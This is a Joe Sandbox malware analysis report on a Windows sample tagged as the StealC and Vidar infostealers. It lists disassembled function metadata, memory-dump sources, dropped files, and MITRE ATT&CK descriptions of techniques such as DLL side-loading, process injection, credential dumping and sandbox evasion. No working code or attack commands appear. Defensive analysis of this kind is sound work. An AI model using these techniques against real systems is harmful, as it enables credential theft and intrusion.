API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 493f6030670bede3405f39460f7b35b195c3acbba381895159e3e31a2434d4e1
Instruction ID: d338e20cf95d3891b4090087ab1a35eee4190e44cb9eea1a82a6048f48f4e8f3
Opcode Fuzzy Hash: 493f6030670bede3405f39460f7b35b195c3acbba381895159e3e31a2434d4e1
Instruction Fuzzy Hash: ABD0C731384308E6D740FA618D05B357774A746756F64C421F75554951C7B19461CF5C

Function 6C62B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C62B2C9,?,?,?,6C62B127,?,?,?,?,?,?,?,?,?,6C62AE52), ref: 6C62B628

Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C6290FF
Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C629108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C62B2C9,?,?,?,6C62B127,?,?,?,?,?,?,?,?,?,6C62AE52), ref: 6C62B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C62B2C9,?,?,?,6C62B127,?,?,?,?,?,?,?,?,?,6C62AE52), ref: 6C62B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C62B127,?,?,?,?,?,?,?,?), ref: 6C62B74D

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 47f66ef3882a445623deb7de551440892097436c6b633750fa512d263049104e
Instruction ID: 4e0f776fcdad556d5c3405aa7ea04e6eb235480ce1ceeea87d33b54d0dd7ead9
Opcode Fuzzy Hash: 47f66ef3882a445623deb7de551440892097436c6b633750fa512d263049104e
Instruction Fuzzy Hash: A451AE71A052168FDB14CF18C980AAEB7B5FFC5308F55852DC89BAB710D739A804CFA9

Function 6C626E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C626EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C626EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C626F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C626F5C

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: cb4444de10137cbd29c00d56e706b582e26f301478a02803c5e7634fd6e9f76c
Instruction ID: 180c0776edc34ceba998e63a918f06a2745cc89f33af255fcd614f09db26d7eb
Opcode Fuzzy Hash: cb4444de10137cbd29c00d56e706b582e26f301478a02803c5e7634fd6e9f76c
Instruction Fuzzy Hash: E6312671A1060A8FDB14CF2CCD806AA73FAEB84304F60813DD41ACB651EF36E659CB95

Function 6C63B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C5E0A4D), ref: 6C63B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C5E0A4D), ref: 6C63B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5E0A4D), ref: 6C63B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C5E0A4D), ref: 6C63B67F

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: c561bb69ec692aee036ed559b288e1b2c73c239ddd1b232413dff1eeb8ad9dfc
Instruction ID: 0162bfb6be52be801d6a401079ee90941f007e1092e601cbd0e033f910d57a8c
Opcode Fuzzy Hash: c561bb69ec692aee036ed559b288e1b2c73c239ddd1b232413dff1eeb8ad9dfc
Instruction Fuzzy Hash: 7A31F471B006268FDB10CF59CC8465ABBB5FFC6314F5A9529C80A9B202DB31E915CBA4

Function 6C60F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C60F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C60F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C60F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C60F668

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 6db68e1a2087bafc1bc5b3d0aaa9a3c15342b7008b7056d0057b0c8f9deb4753
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: EA316F71B00614AFC719CF1DCDC0A9B77B6EB94358B14C938FA4A8BB05D632E9448B9D

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NJna3TEAEr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKKFHDAK

C:\ProgramData\BJZFPPWAPT.png

C:\ProgramData\CBGCBGCAFIIECBFIDHIJKFBAKE

C:\ProgramData\CFCBKKKJJJKKEBGDAFIDAAAEHD

C:\ProgramData\DAKEHIJJKEGIDHIEHDAFIIDBFB

C:\ProgramData\EEGWXUHVUG.docx

C:\ProgramData\EFOYFBOLXA.docx

C:\ProgramData\EFOYFBOLXA.pdf

C:\ProgramData\EGHCBKKKFHCGCBFIJEHDGIDGCF

C:\ProgramData\EIVQSAOTAQ.png

C:\ProgramData\EOWRVPQCCS.jpg

C:\ProgramData\FBKEHJEGCFBFHJJKJEHD

Windows Analysis Report
NJna3TEAEr.exe

Function 002F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 002E45C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Function 002F38B0 Relevance: 47.5, APIs: 21, Strings: 6, Instructions: 250
filestringCOMMON

Function 002EBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre